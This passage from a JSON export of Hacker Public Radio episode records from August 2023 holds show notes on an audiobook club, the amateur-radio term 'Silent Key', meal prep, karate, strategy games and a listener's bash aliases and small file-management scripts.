                                                              \n
                                                            • Thaj: Tempting fate with a tall glass of the highly\ntoxic, Dihydrogen\nMonoxide
                                                            • \n
                                                            • x1101: Shipyard\nLittle Horror of Hops Its a very amber IPA
                                                            • \n
                                                            • Pokey: Yellow Tail\nChardonay Its definitely a chardonay in flavor. You can taste the\ncost effectiveness up front, but it mellows out on the finish, and is\npretty okay for the price on average.
                                                            • \n
                                                            • FiftyOneFifty: Funky Pumpkin spiced\npumpkin ale
                                                            • \n
                                                            • Mark: Lagunitas IPA
                                                            • \n
                                                            \n

                                                            Things We Talked About

                                                            \n
                                                            \n
                                                              \n
                                                            • Chat Secure secure XMPP,\nThink of the children!!!

                                                            • \n
                                                            • Technology on Barsoom

                                                            • \n
                                                            • Deus Ex Machina much???

                                                            • \n
                                                            • Names in fantasy books

                                                            • \n
                                                            \n

                                                            Our Next Audiobook

                                                            \n
                                                            \n

                                                            See\nYou At The Morgue by Lawrence Blochman

                                                            \n

                                                            The Next Audiobook Club\nRecording

                                                            \n
                                                            \n

                                                            Right now we are working through a backlog of older episode that have\nalready been recorded. Once that ends we fully anticipate recording new\nepisodes with listener participation.

                                                            \n

                                                            Feedback

                                                            \n
                                                            \n

                                                            Thank you very much for listening to this episode of the HPR\nAudioBookClub. We had a great time recording this show, and we hope you\nenjoyed it as well. We also hope you'll consider joining us next time we\nrecord a new episode. Please leave a few words in the episode's comment\nsection.

                                                            \n

                                                            As always; remember to visit the HPR contribution page HPR could\nreally use your help right now.

                                                            \n

                                                            Sincerely, The HPR Audiobook Club

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment,\nwe always include a few.

                                                            \n

                                                            Our Audio

                                                            \n
                                                            \n

                                                            This episode was processed using Audacity. We've been making\nsmall adjustments to our audio mix each month in order to get the best\npossible sound. Its been especially challenging getting all of our\nvoices relatively level, because everyone has their own unique setup.\nMumble is great for bringing us all together, and for recording, but\nit's not good at making everyone's voice the same volume. We're pretty\nhappy with the way this month's show turned out, so we'd like to share\nour editing process and settings with you and our future selves (who, of\ncourse, will have forgotten all this by then).

                                                            \n

                                                            We use the \"Truncate Silence\" effect with it's default settings to\nminimize the silence between people speaking. When used with it's\ndefault (or at least reasonable) settings, Truncate Silence is extremely\neffective and satisfying. It makes everyone sound smarter, it makes the\nfile shorter without destroying actual content, and it makes a\nconversations sound as easy and fluid during playback as it was while it\nwas recorded. It can be even more effective if you can train yourself to\nremain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass\nthe file through Truncate Silence ONCE. If you pass it through a second\ntime, or if you set it too aggressively your audio may sound sped up and\nchoppy.

                                                            \n

                                                            Next we use the \"Compressor\" effect with the following settings:

                                                            \n
                                                            Threshold: -30db\n\nNoise Floor: -50db\n\nRatio: 3:1\n\nAttack Time: 0.2sec\n\nDecay Time: 1.0 sec
                                                            \n

                                                            \"Make-up Gain for 0db after compressing\" and \"compress based on\npeaks\" were both left un-checked.

                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter\nfrom the file and save them in a separate file for possible use as\nouttakes after the closing music.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around\n-12db while people are speaking, and we try to keep the peaks under\n-6db, and we adjust the Gain on each of the new tracks so that all\nvolumes are similar, and more importantly comfortable. Once this is done\nwe can \"Mix and Render\" all of our tracks into a single track for export\nto the .FLAC file which is uploaded to the HPR server.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the\nshownotes. This is when we can cut out anything that needs to be cut,\nand we can also make sure that we put any links in the shownotes that\nwere talked about during the recording of the show. We finish the\nshownotes before exporting the .aup file to .FLAC so that we can paste a\ncopy of the shownotes into the audio file's metadata.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the\nintro, outro and possibly outtakes, and we rename each track\naccordingly.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after\neach of these steps. Audacity has a reputation for being \"crashy\" but if\nyou remember save after every major transform, you will wonder how it\never got that reputation.

                                                            \n

                                                            Attribution

                                                            \n
                                                            \n

                                                            Record\nScratch Creative Commons 0

                                                            \n","hostid":157,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"mars, audiobook club, fiction, scifi, audiobook","version":0,"downloads":0,"valid":1}, {"id":3922,"date":"2023-08-15","title":"Silent Key","duration":241,"summary":"A brief history of the term \"Silent Key\" as applied to amateur radio","notes":"

                                                            Hacker Public Radio – Silent Key HPR3922

                                                            \n

                                                            Hello this is Trey, and I am recording this in the shadow of the loss\nof a good friend and mentor who helped guide me in my career and in\nhobbies like electronics, aviation, and amateur radio. The amateur radio\narea is what I will be discussing today.

                                                            \n

                                                            Many terms within amateur radio find their origins from the days of\ntelegraph, when operators would use Morse code to send messages across\ngreat distances using wires strung from pole to pole. The telegraph\n“key” (or code key) was basically a momentary contact switch which would\nclose an electrical connection when pressed. Pressing the key down for a\nshort period of time would send a short pulse down the line, which is\nreferred to as a “dit” (Sometimes the term “dot” is used). This may be\nwritten using the period “.” symbol. Holding the key down for a bit\nlonger would send a longer pulse down the line, called a “dash”\n(Sometimes the term “dah” is used) and it may be written using the\nhyphen “-” symbol.

                                                            \n

                                                            Telegraph operators became a close knit community, even though they\nwere geographically separated. Often one operator could identify another\noperator by subtleties in the style or personality of how they sent\ntheir messages. This was known as the operator’s “fist” and today we\nwould describe it as a “behavioral biometric”. As the community of\ntelegraph operators moved around or were replaced, new “fists” would be\nidentified, as new personalities of code sending were tapped out on the\ntelegraph keys.

                                                            \n

                                                            When an operator passed away, it was a loss to the community, and a\nloss of someone who might have been befriended remotely by other\noperators. The term of respect created for this situation was “Silent\nKey” sent as the abbreviation “SK” ( … -.- ). It meant that the\nparticular operator would never send code again. His telegraph key would\nbe silent.

                                                            \n

                                                            This tradition has been carried on among amateur radio operators or\n“Hams”. This is also a close knit community of people. While some still\nuse Morse code to communicate (Referred to as “CW” for continuous wave),\nthere are many other forms in use, including voice and digital modes.\nBut regardless of how we communicated with them, when we lose one of our\nown, we still say they are SK. Silent key. No longer able to\ntransmit.

                                                            \n

                                                            Organizations like the American Radio Relay League (ARRL) and QRZ.com\ntry to update their records when a Ham passes away. There are also\ndatabases like silentkeyhq.com which keep records and memories of\ndeceased operators.

                                                            \n

                                                            So, it is with great sadness that I have been updating the records\nfor my close friend and mentor KV4YD. Thank you for your friendship and\nsupport, and for sharing your wisdom over the years. You will be\nmissed.

                                                            \n

                                                            https://www.silentkeyhq.com/main.php?p=bin/NSKALookup.php&call=KF8F&uid=1111688122977783

                                                            \n

                                                            (Note: There is intentionally 5 seconds of recorded silence at the\nend of this recording as a moment of silence to remember our silent\nkeys)

                                                            \n

                                                            KV4YD 73 VA E E

                                                            \n","hostid":394,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"morse code, cw, amateur radio, telegraph, memorial","version":0,"downloads":0,"valid":1}, {"id":3923,"date":"2023-08-16","title":"Meal preparation.","duration":2488,"summary":"Sgoti chats with Bumble Bee about meal preparation.","notes":"

                                                            Meal preparation with Bumble\nBee.

                                                            \n
                                                              \n
                                                            • Source: Meal\npreparation
                                                              \n\n
                                                                \n
                                                              • Meal preparation involves preparing meals ahead of time for a short\nor period of time. This practice may occur among people who desire to\nlose weight, gain muscle mass, or maintain a healthy lifestyle. Advance\npreparation can serve to standardize food portions. Meals preparation\nare fully cooked. Meals may be prepared in small containers such as\nTupperware, and are sometimes labeled and dated to remain\norganized.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Source: Onions
                                                              \n\n
                                                                \n
                                                              • Freshly cut onions often cause a stinging sensation in the eyes of\npeople nearby, and often uncontrollable tears. This is caused by the\nrelease of a volatile liquid, syn-propanethial-S-oxide and its aerosol,\nwhich stimulates nerves in the eye. This gas is produced by a chain of\nreactions which serve as a defence mechanism: chopping an onion causes\ndamage to cells which releases enzymes called alliinases. These break\ndown amino acid sulfoxides and generate sulfenic acids. A specific\nsulfenic acid, 1-propenesulfenic acid, is rapidly acted on by a second\nenzyme, the lacrimatory factor synthase (LFS), producing the\nsyn-propanethial-S-oxide. This gas diffuses through the air and soon\nreaches the eyes, where it activates sensory neurons. Lacrimal glands\nproduce tears to dilute and flush out the irritant.
                                                                \n
                                                              • \n
                                                              • Cooking onions and sweet onions are better stored at room\ntemperature, optimally in a single layer, in large mesh bags in a dry,\ncool, dark, well-ventilated location. In this environment, cooking\nonions have a shelf life of three to four weeks and sweet onions one to\ntwo weeks. Cooking onions will absorb odours from apples and pears.\nAlso, they draw moisture from vegetables with which they are stored\nwhich may cause them to decay.
                                                                \n
                                                              • \n
                                                              • Sweet onions have a greater water and sugar content than cooking\nonions. This makes them sweeter and milder tasting, but reduces their\nshelf life. Sweet onions can be stored refrigerated; they have a shelf\nlife of around 1 month. Irrespective of type, any cut pieces of onion\nare best tightly wrapped, stored away from other produce, and used\nwithin two to three days.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Source: What\nAre Dump Dinners, And Which Recipes Are Easiest?
                                                              \n
                                                            • \n
                                                            • Source: 55\nDump Dinners for Your Slow Cooker
                                                              \n
                                                            • \n
                                                            • Source: Pinterest
                                                              \n
                                                            • \n
                                                            • Source: Mug\nwarmers.
                                                              \n
                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Bumble Bee, Meal Prep","version":0,"downloads":0,"valid":1}, {"id":3924,"date":"2023-08-17","title":"Mass Quick Tips for August 2023","duration":1549,"summary":"operat0r will never get to some of these as full eps so here you go!","notes":"
                                                              \n
                                                            • yakake :
                                                              \nhttps://hackerpublicradio.org/eps/hpr3446/index.html
                                                              \nhttps://github.com/freeload101/SCRIPTS/blob/master/Bash/Movie2Text.sh

                                                            • \n
                                                            • OLD : https://github.com/freeload101/SCRIPTS/blob/master/Bash/Stream_to_Text_with_Keywords.sh
                                                              \n

                                                            • \n
                                                            • https://rmccurdy.com/stuff/NLP/?C=M;O=A

                                                            • \n
                                                            • https://rmccurdy.com/.scripts/downloaded/parentingadhdandautism.com/

                                                            • \n
                                                            • HighContract Blk Backfround :
                                                              \nhttps://github.com/freeload101/SCRIPTS/tree/master/AutoHotkey/High%20Contrast%20Chrome

                                                            • \n
                                                            • VLC Compress audio quite/LOUD\nload-module module-ladspa-sink sink_name=compressor plugin=sc1_1425 label=sc1 control=5,100,-25,8,2.5,0\nhttps://docs.google.com/document/d/1E1xAwWpq-C4vEh8LCRw7MD7jnaclX9Faf2L3dZWiqQY/edit

                                                            • \n
                                                            • VLC .vlcrc config file and yatse custom commands:
                                                              \nhttps://github.com/freeload101/SCRIPTS/tree/789bbf9969ae10975549ee4617a039967573c92b/MISC

                                                            • \n
                                                            • https://kinkeadtech.com/how-to-prevent-fire-tv-stick-from-going-to-sleep/\n/ ads sleep mode

                                                            • \n
                                                            • Sponsorblock for Android:
                                                              \nhttps://www.youtube.com/watch?v=JKUmM9r63F8&feature=youtu.be

                                                            • \n
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hacking,computers,Android,quick tips","version":0,"downloads":0,"valid":1}, {"id":3925,"date":"2023-08-18","title":"Uncommon tools and social media","duration":329,"summary":"Daniel Persson talks about some of the tools he uses for video production and social media","notes":"

                                                            Before I used common tools and Windows, I was present on Facebook and\nso on. But I've changed and I don't think the difference is that\nlarge.

                                                            \n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"social media, linux","version":0,"downloads":0,"valid":1}, {"id":3926,"date":"2023-08-21","title":"Karate Do: An Overview","duration":2706,"summary":"Hipernike talks about Karate, its meaning and some of the things he has learnt","notes":"

                                                            Sorry for my English, I'm still improving it, and specially for\nconfusing kicks with hand strikes.

                                                            \n
                                                              \n
                                                            • Gichin\nFunakoshi: The father of modern karate and the founder of Shotokan\nstyle\n
                                                                \n
                                                              • Book Karate-Do Kyohan
                                                              • \n
                                                              • Nijū kun:\nHis 20 precepts
                                                              • \n
                                                            • \n
                                                            • In Karate your main enemy is yourself
                                                            • \n
                                                            • Three pillars of Karate:\n
                                                                \n
                                                              • Kata: Series\nof movements that symbolize a combat
                                                              • \n
                                                              • In Shotokan Style, there are 27 kata practiced
                                                              • \n
                                                              • Kihon: Practice of the basic techniques
                                                              • \n
                                                              • Kumite: Combat
                                                              • \n
                                                            • \n
                                                            • Dashi (Stances)
                                                            • \n
                                                            • Dōjō\nkun: Training hall rules
                                                            • \n
                                                            • Karate belt\norder
                                                            • \n
                                                            • Sensei: \"One who\ncomes before\"
                                                            • \n
                                                            • Four main Karate styles\n
                                                                \n
                                                              • Goju-ryu, Shotokan-ryu, Wado-ryu, and Shito-ryu
                                                              • \n
                                                            • \n
                                                            • Taikyoku\nShodan
                                                            • \n
                                                            • Kanku\nDai
                                                            • \n
                                                            • Bassai\nDai
                                                            • \n
                                                            • Tekki Shodan\nperformed by Gichin Funakoshi
                                                            • \n
                                                            • The Last Samurai: No mind\nscene\n
                                                            • \n
                                                            • The outcome of a battle depends on how one handles emptiness and\nfullness (Gichin Funakoshi, Nijū kun)
                                                            • \n
                                                            • Defense techniques\n
                                                                \n
                                                              • Age uke
                                                              • \n
                                                              • Soto uke
                                                              • \n
                                                              • Uchi uke
                                                              • \n
                                                              • Shuto uke
                                                              • \n
                                                            • \n
                                                            • Attack techniques\n
                                                                \n
                                                              • Empi uchi
                                                              • \n
                                                              • Uraken uchi
                                                              • \n
                                                              • Shuto uchi
                                                              • \n
                                                              • Kentsui uchi (hammer strike with your fist)
                                                              • \n
                                                            • \n
                                                            \n","hostid":410,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"karate, martial arts, sports","version":0,"downloads":0,"valid":1}, {"id":3927,"date":"2023-08-22","title":"Audacity Update 20230702","duration":372,"summary":"RESERVE SHOW. Audacity has been having problems lately.","notes":"

                                                            Audacity seems to have developed some sensitivity problems of late\nand that has affected my ability to process my podcast files as\nexplained in HPR 3900. I have found some evidence that the Audacity team\nis aware of this, but for now this is how I work around the problem.

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Audacity, MP3, transcoding","version":0,"downloads":0,"valid":1}, {"id":3928,"date":"2023-08-23","title":"RE: Klaatu.","duration":1467,"summary":"Sgoti confuses everyone with bash nonsense.","notes":"

                                                            HPR Shows by Klaatu.

                                                            \n
                                                              \n
                                                            • Source: hpr3887 ::\n10 must-know commands for a new cloud admin.
                                                            • \n
                                                            • Source: hpr3882 ::\nAlternatives to the cd command.
                                                            • \n
                                                            \n

                                                            Hot sauce lady.

                                                            \n
                                                              \n
                                                            • Source: Franks Red Hot Queen\n2011.
                                                            • \n
                                                            \n
                                                            pwd && ls --group-directories-first --classify --almost-all\n\n# some more ls aliases\nalias la='ls -l --human-readable --group-directories-first --classify --almost-all'\nalias ll='ls --group-directories-first --classify --almost-all'\nalias lr='ls -l --human-readable --group-directories-first --classify --recursive'\nalias lar='ls -l --human-readable --group-directories-first --classify --almost-all --recursive'\nalias lap='ls -l --human-readable --group-directories-first --classify --almost-all | less'\n\n# safety first ;)\nalias rmi='rm --interactive --verbose'\nalias mvi='mv --interactive --verbose'\nalias cpi='cp --interactive --verbose'\nalias .shred='bleachbit --shred'\n\n# cd multi dir\nalias ..='cd ..;'\nalias .2='cd ../..;'\nalias .3='cd ../../..;'\nalias .4='cd ../../../..;'\nalias .5='cd ../../../../..;'\n\n# Directory controls.\nfunction cd () {\nclear;\nbuiltin cd "$@" && ls --group-directories-first --classify --almost-all;\n\nhistory -w;\n}\n\n#function pp () {\n#builtin pushd +$@ && ls --group-directories-first --classify --almost-all\n#}\n\nfunction pushup (){\nbuiltin pushd $HOME/.config/vim/sessions/\nbuiltin pushd $HOME/.local/bin/\nbuiltin pushd $HOME/.thunderbird/*.default-release/\nbuiltin pushd $HOME/Documents/non-of-your-business/\nbuiltin pushd $HOME/Downloads/in/\nbuiltin pushd $HOME/Downloads/out/\nbuiltin pushd $HOME/Downloads/playground/\nbuiltin pushd $HOME/Music/hpr/shows/\nbuiltin pushd $HOME/projects/\nbuiltin pushd $HOME/projects/hprbank/bp/\nbuiltin pushd $HOME/symlinks/\nbuiltin pushd $HOME/tmp/\nbuiltin pushd +11\n\nbuiltin dirs -v\n}\n\nalias pd='pushd'\nalias dirs='dirs -v'\n\n# Update\nalias .upg='sudo apt update && sudo apt upgrade -y;'\n\n# shutdown | reboot\nalias .sd='sudo shutdown -P now;'\nalias .rs='sudo reboot;'\n\n# Misc\nalias ccb='cat $HOME/cb | xsel --input --clipboard && echo "Copy. $(date "+%F %T")";'\nalias pcb='xsel --output --clipboard > $HOME/cb && echo "Copy. $(date "+%F %T")";'\nalias zz='xsel -c -b && echo "Clipboard Cleared. $(date "+%F %T")";'\n\n# File Mods\nalias 700='chmod --verbose =700'\nalias 600='chmod --verbose =600'\nalias 400='chmod --verbose =400'\n\n###############################################################################\n# Functions\n###############################################################################\n\nfunction .s () {\nln --symbolic --verbose --target-directory=$HOME/symlinks/ $(pwd)/${1};\n}\n\nfunction extract () {\nif [ -f $1 ]\nthen\n    case $1 in\n    *.tar.bz2) tar -vxjf $1 ;;\n    *.tar.gz) tar -vxzf $1 ;;\n    *.tar) tar -xvf $1 ;;\n    *.bz2) bunzip2 $1 ;;\n    *.rar) unrar -x $1 ;;\n    *.gz) gunzip $1 ;;\n    *.tar) tar -vxf $1 ;;\n    *.tbz2) tar -vxjf $1 ;;\n    *.tgz) tar -vxzf $1 ;;\n    *.zip) unzip $1 ;;\n    *.Z) uncompress $1 ;;\n    *.7z) 7z -x $1 ;;\n    *) echo "Good Heavens, '$1' will NOT extract..." ;;\n    esac\nelse\n    echo "Good Heavens, '$1' is NOT a valid file."\nfi\n}\n\nfunction myip () {\nip addr | grep 'state UP' -A2 | tail -n1 | awk '{print $2}' | cut -f1  -d'/';\n}\n\nfunction .mkd (){\nmkdir -v $(date +%F) && pushd $(date +%F);\n}\n\nfunction .mkt (){\ntmpdir=$(mktemp -d /tmp/$(date +%F).XXXXXXXX) && pushd ${tmpdir}\n}\n\nfunction .d (){\necho $(date +%F)$1 | xsel -i -b;\n}\n\n\nfunction .sh () {\nNEWSCRIPT=${1}.sh\n\ncat >> ${NEWSCRIPT} << EOS\n#!/bin/bash\n# License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\n#Name: ${NEWSCRIPT}\n#Purpose:\n#Version: beta 0.01\n#Author: SGOTI (Some Guy On The Internet)\n#Date: $(date +%F)\n\n#variables:\n\n#start:\n\nexit;\nEOS\n\nif [ -f "${NEWSCRIPT}" ]\nthen\n    chmod 700 ${NEWSCRIPT}\nelse\n    echo "Good Heavens! There isn't a "${NEWSCRIPT}""\nfi\n}\n\nfunction .fmd () {\nxsel -o -b | fmt -w 76 | sed 's/$/  /g\ns/  /    /g\ns/   /    /g\ns/     /    /g\ns/$/  /g\ns/  *$/  /g\ns/ / /g' | xsel -i -b;\n}\n
                                                            \n
                                                            #!/bin/bash\n# License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\n#Name: bfn.sh\n#Purpose: Create better file names.\n#Version: beta 0.01\n#Author: SGOTI (Some Guy On The Internet)\n#Date: 2022-11-08\n\n#variables:\noldname=$(echo ${1%.*})\nnewname=$(echo $oldname | sed 's/ /-/g;s/_/-/g;s/./-/g;s/--*/-/g;/\\/d' | tr [:upper:] [:lower:])\next1=".$(echo ${1##*.})"\next2=".$(echo ${1##*.} | tr [:upper:] [:lower:])"\n\n#start:\nfunction bcase () {\n    if [ -f $1 ]\n    then\n        echo -e "renaming $oldnamen";\n        mv -v "$oldname$ext1" "$newname$ext2";\n    else\n        mv -v "$oldname" "$newname";\n    fi\n}\n\nbcase\nexit;
                                                            \n
                                                            #!/bin/bash\n# License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\n#Name: perm.sh\n#Purpose:\n#Version: beta 0.01\n#Author: SGOTI (Some Guy On The Internet)\n#Date: 2023-01-13\n\n#variables:\nvar_dir=${1}\n\n#start:\nfunction bfp () {\n    find "${var_dir}" -type d -exec chmod -R =700 {} +\n    find "${var_dir}" -type f -exec chmod -R =600 {} +\n}\n\nbfp\n\nexit;
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash scripting, bash commands, bash_aliases","version":0,"downloads":0,"valid":1}, {"id":3929,"date":"2023-08-24","title":"Some experiences with different notes apps","duration":587,"summary":"About apps that store notes as markdown","notes":"\n","hostid":403,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"markdown, notes","version":0,"downloads":0,"valid":1}, {"id":3930,"date":"2023-08-25","title":"Playing Civilization II Test of Time","duration":747,"summary":"Some hints for playing Civilization II Test of Time","notes":"

                                                            For reasons I go into, this is in some respects a different game from\nCivilization II, at least different enough to deserve some separate\nattention. The multiple map feature makes for some interesting game play\npossibilities that add interest to this version, and the fact that it\nhas no defined end point is also intriguing. And the scenarios add some\ninteresting story differences as well.

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • https://www.amazon.com/Sid-Meiers-Memoir-Computer-Games-ebook/dp/B085845CX9/ref=tmm_kin_swatch_0
                                                            • \n
                                                            • https://en.wikipedia.org/wiki/Lalande_21185
                                                            • \n
                                                            • https://www.myabandonware.com/game/civilization-ii-test-of-time-454
                                                            • \n
                                                            • https://www.palain.com/gaming/civilization-ii/playing-civilization-ii-test-of-time/
                                                            • \n
                                                            \n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization II, Test of Time","version":0,"downloads":0,"valid":1}, {"id":3931,"date":"2023-08-28","title":"What Instrument was played in hpr3905?","duration":2040,"summary":"I reveal what instrument was played in hpr3905","notes":"

                                                            If you didn't really understand my mumbling and stuttering, here is\nthe page ;-)

                                                            \n

                                                            https://en.wikipedia.org/wiki/Nyckelharpa

                                                            \n","hostid":422,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Music, quiz, Instrument, Nyckelharpa","version":0,"downloads":0,"valid":1}, {"id":3932,"date":"2023-08-29","title":"Short introduction to inxi","duration":437,"summary":"folky gives the show about inxi that Ken wished for","notes":"

                                                            Link:

                                                            \n\n","hostid":309,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"shell,inxi,forum","version":0,"downloads":0,"valid":1}, {"id":3933,"date":"2023-08-30","title":"Planning for a planner.","duration":2852,"summary":"Sgoti and Bumble Bee discuss discbound planners, agendas, ink pens and more.","notes":"

                                                            Discbound Planners and\nNotebooks.

                                                            \n
                                                              \n
                                                            • Source: Staples.com\ndiscbound notebook search
                                                              \n
                                                            • \n
                                                            • Supporting Source: Staples\nArc Customizable Notebook, 6-3/4\" x 8-3/4\", 60 Sheets, Narrow Ruled,\nBlack
                                                              \n
                                                            • \n
                                                            • Source: Happy Planner.
                                                              \n
                                                            • \n
                                                            • Source: JoAnn
                                                              \n
                                                            • \n
                                                            \n

                                                            Don't listen to Bumble Bee, the caps are what you want; get the one\nwith the cap.
                                                            \nAlso these are the fat boys, they are 1.0 mm, not 0.7mm.
                                                            \n- Source: BIC\nRound Stic Xtra Life Ballpoint Pens, Medium Point (1.0mm), 60 Count,\nBlack Pens
                                                            \n- Source: BIC\nRound Stic Xtra Life Ballpoint Pens, Medium Point (1.0mm), Blue, 60\nCount
                                                            \n

                                                            \n

                                                            These feel so good in the hand but they have high dry times; just not\nworth it.
                                                            \n- Source: uni-ball\nSigno Gel 207 Retractable Roller Ball Pen, Medium Point, Translucent\nBarrel, Black Ink, 12-Pack (33950)
                                                            \n

                                                            \n

                                                            I use these for drawing lines. Dry times are not bad, but there is a\ndry time.
                                                            \n- Source: uni-ball\nRoller Ball Stick Dye-Based Pen Micro Point 0.5 mm 498774
                                                            \n- Source: Uni-Ball,\nSAN60101, Classic Rollerball Pens
                                                            \n

                                                            \n

                                                            Color pack, because why not!
                                                            \n- Source: BIC\nCristal Xtra Bold Ball Point Pens, Bold Point (1.6mm), Assorted Colors,\n24-Count
                                                            \n

                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Discbound, Notebooks, Planners, Happy Planner, Ink Pens.","version":0,"downloads":0,"valid":1}, {"id":3934,"date":"2023-08-31","title":"Crusader Kings II","duration":2292,"summary":"Tuula rambles about her all time favourite strategy game Crusader Kings II","notes":"

                                                            Crusader Kings II

                                                            \n

                                                            Crusader Kings II is a dynasty simulator, where your goal is to guide\nyour dynasty through the middle ages. It's very large game and this\nepisode can only scratch the surface.

                                                            \n

                                                            You're a ruler of some kind, like count, duchess, king or empress to\nname a few. You need to manage vassals in your realm and keep your\nneighbours at bay. When you're not busy with that, you can relax and go\nhunting, build an observatory or join a secret society (to name just a\nfew).

                                                            \n

                                                            Couple first games will be overwhelming, but it'll get easier when\nyou start realizing how things affect to each other and what kinds of\nthings you can do.

                                                            \n

                                                            If you're interested to learn more, have a look at the wiki: https://ck2.paradoxwikis.com/Crusader_Kings_II_Wiki

                                                            \n","hostid":364,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Crusader Kings, Paradox","version":0,"downloads":0,"valid":1}, {"id":3935,"date":"2023-09-01","title":"Server build retrospective","duration":586,"summary":"Daniel Persson goes through his experience of building his first server","notes":"

                                                            I have a lot of smaller PC's running as servers at home but now I\nfinally bought my first server chassis to install a real server in my\nrack. I ran into a lot of complications and that's covered in this\nepisode.

                                                            \n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"server, hardware, rack","version":0,"downloads":0,"valid":1}, {"id":3936,"date":"2023-09-04","title":"HPR Community News for August 2023","duration":3397,"summary":"HPR Volunteers talk about shows released and comments posted in August 2023","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Fred Black.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3912Tue2023-08-01Emergency Show: Biltong and RooibosShane Shennan
                                                            3913Wed2023-08-02Lurking Prion Q and ALurking Prion
                                                            3914Thu2023-08-03how to deal with blistersdnt
                                                            3915Fri2023-08-04Why the hell is my audio clipping?MrX
                                                            3916Mon2023-08-07HPR Community News for July 2023HPR Volunteers
                                                            3917Tue2023-08-08Response to \"Permission Tickets\" by oneofspoonsdnt
                                                            3918Wed2023-08-09Emacs package curation, part 3dnt
                                                            3919Thu2023-08-10How I hacked my voiceTuula
                                                            3920Fri2023-08-11RV Trip 2022-2023: Southeast USAhuka
                                                            3921Mon2023-08-14HPR AudioBook Club 23 - John Carter of Mars (Books 1-3)HPR_AudioBookClub
                                                            3922Tue2023-08-15Silent KeyTrey
                                                            3923Wed2023-08-16Meal preparation.Some Guy On The Internet
                                                            3924Thu2023-08-17Mass Quick Tips for August 2023operat0r
                                                            3925Fri2023-08-18Uncommon tools and social mediaDaniel Persson
                                                            3926Mon2023-08-21Karate Do: An OverviewHipernike
                                                            3927Tue2023-08-22Audacity Update 20230702Ahuka
                                                            3928Wed2023-08-23RE: Klaatu.Some Guy On The Internet
                                                            3929Thu2023-08-24Some experiences with different notes appsLee
                                                            3930Fri2023-08-25Playing Civilization II Test of TimeAhuka
                                                            3931Mon2023-08-28What Instrument was played in hpr3905?Fred Black
                                                            3932Tue2023-08-29Short introduction to inxifolky
                                                            3933Wed2023-08-30Planning for a planner.Some Guy On The Internet
                                                            3934Thu2023-08-31Crusader Kings IITuula
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 21 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 5 comments on\n5 previous shows:

                                                            \n
                                                              \n
